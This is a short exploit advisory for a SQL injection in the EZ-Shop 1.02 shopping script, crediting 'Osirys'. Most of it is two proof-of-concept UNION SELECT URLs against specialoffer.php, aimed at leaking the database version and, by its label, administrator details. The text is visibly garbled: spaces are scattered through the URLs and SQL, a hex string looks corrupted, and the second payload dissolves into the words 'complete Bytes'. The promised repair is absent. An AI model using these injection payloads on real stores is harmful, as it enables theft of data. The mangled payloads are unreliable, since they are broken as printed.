EZ-Shop V1.02 SQL injection vulnerability and repair

EZ-Shop is an e-commerce program. EZ-Shop 1.02 has the SQL injection vulnerability, which may cause leakage of sensitive information.

[+] Info:
~~~~~~~~~
[Script] EZ-Shop 1.02
[Location] http://www.fcsoftware.co.uk/index.php? Page = opensource
[Vulnerability] SQL Injection
[Original Adv] http://y-osirys.com/security/exploits/id28
[Author] Giovanni Buzzin, "Osirys"
[Site] y-osirys.com
[Contact] osirys [at] autistici [dot] org

[+] Poc:
~~~~~~~~~
MySQL Version p0c:
[P0c]
/[Cms path]/specialoffer. php? Specialid = 1 union select 1, 2, concat (0x336620756e696f6e2073656c65637
420312c322c2f2a, @ version, 0x2a2f404076657272136f6e2c342c3523) % 23
[/P0c]

Admins details p0c:
[P0c]
/[Cms_path]/specialoffer. php? Specialid = 1 union select 1, 2, concat (0x336620756e696f6e2073656c65637
420312c322c2f2a, @ version, complete
Bytes) % 23
[/P0c]